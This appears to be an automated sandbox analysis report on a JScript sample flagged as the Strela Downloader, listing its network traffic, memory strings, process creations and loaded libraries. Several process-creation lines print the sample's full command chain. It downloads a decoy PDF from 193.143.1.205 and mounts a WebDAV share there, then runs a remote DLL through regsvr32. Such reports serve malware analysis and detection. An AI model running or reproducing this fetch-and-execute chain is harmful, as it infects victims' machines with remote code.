HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000001.00000003.1394846549.00000153A0757000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1457238813.0000025FE4FCC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1457238813.0000025FE4FA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1457238813.0000025FE4FCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/L
Source: net.exe, 00000007.00000002.1457238813.0000025FE4FA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/z
Source: svchost.exe, 00000009.00000002.2683338731.000002210E000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1456383349.000002210DF20000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7480, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 32600206981428831400.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7912

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7568:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t2jqlkbx.h3v.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32600206981428831400.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1668,i,3887016290142104723,4358048301477024581,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1668,i,3887016290142104723,4358048301477024581,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
